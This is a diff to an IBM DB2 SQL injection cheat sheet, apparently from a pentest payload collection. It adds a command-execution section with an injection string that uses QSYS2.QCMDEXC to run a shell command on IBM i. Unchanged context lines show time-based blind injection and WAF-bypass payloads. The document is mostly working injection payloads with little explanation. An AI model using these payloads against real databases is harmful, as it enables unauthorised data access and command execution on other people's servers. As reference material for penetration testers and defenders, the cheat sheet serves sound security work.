|
12 | 12 | * [DB2 Error Based](#db2-error-based) |
13 | 13 | * [DB2 Blind Based](#db2-blind-based) |
14 | 14 | * [DB2 Time Based](#db2-time-based) |
| 15 | +* [DB2 Command Execution](#db2-command-execution) |
15 | 16 | * [DB2 WAF Bypass](#db2-waf-bypass) |
16 | 17 | * [DB2 Accounts and Privileges](#db2-accounts-and-privileges) |
17 | 18 | * [References](#references) |
@@ -102,6 +103,16 @@ Heavy queries, if user starts with ascii 68 ('D'), the heavy query will be execu |
102 | 103 | ' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 |
103 | 104 | ``` |
104 | 105 |
|
| 106 | +## DB2 Command Execution |
| 107 | +
|
| 108 | +> The QSYS2.QCMDEXC() procedure and scalar function can be used to execute IBM i CL commands. |
| 109 | +
|
| 110 | +Using the `QSYS2.QCMDEXC()` on IBM i (previously named AS-400), it is possibile to achieve command execution. |
| 111 | +
|
| 112 | +```sql |
| 113 | +'||QCMDEXC('QSH CMD(''system dspusrprf PROFILE'')') |
| 114 | +``` |
| 115 | + |
105 | 116 |
|
106 | 117 | ## DB2 WAF Bypass |
107 | 118 |
|
@@ -130,4 +141,5 @@ SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 |
130 | 141 | ## References |
131 | 142 |
|
132 | 143 | - [DB2 SQL injection cheat sheet - Adrián - May 20, 2012](https://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/) |
133 | | -- [Pentestmonkey's DB2 SQL Injection Cheat Sheet - @pentestmonkey - September 17, 2011](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet) |
| 144 | +- [Pentestmonkey's DB2 SQL Injection Cheat Sheet - @pentestmonkey - September 17, 2011](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet) |
| 145 | +- [QSYS2.QCMDEXC() - IBM Support - April 22, 2023](https://www.ibm.com/support/pages/qsys2qcmdexc) |
0 commit comments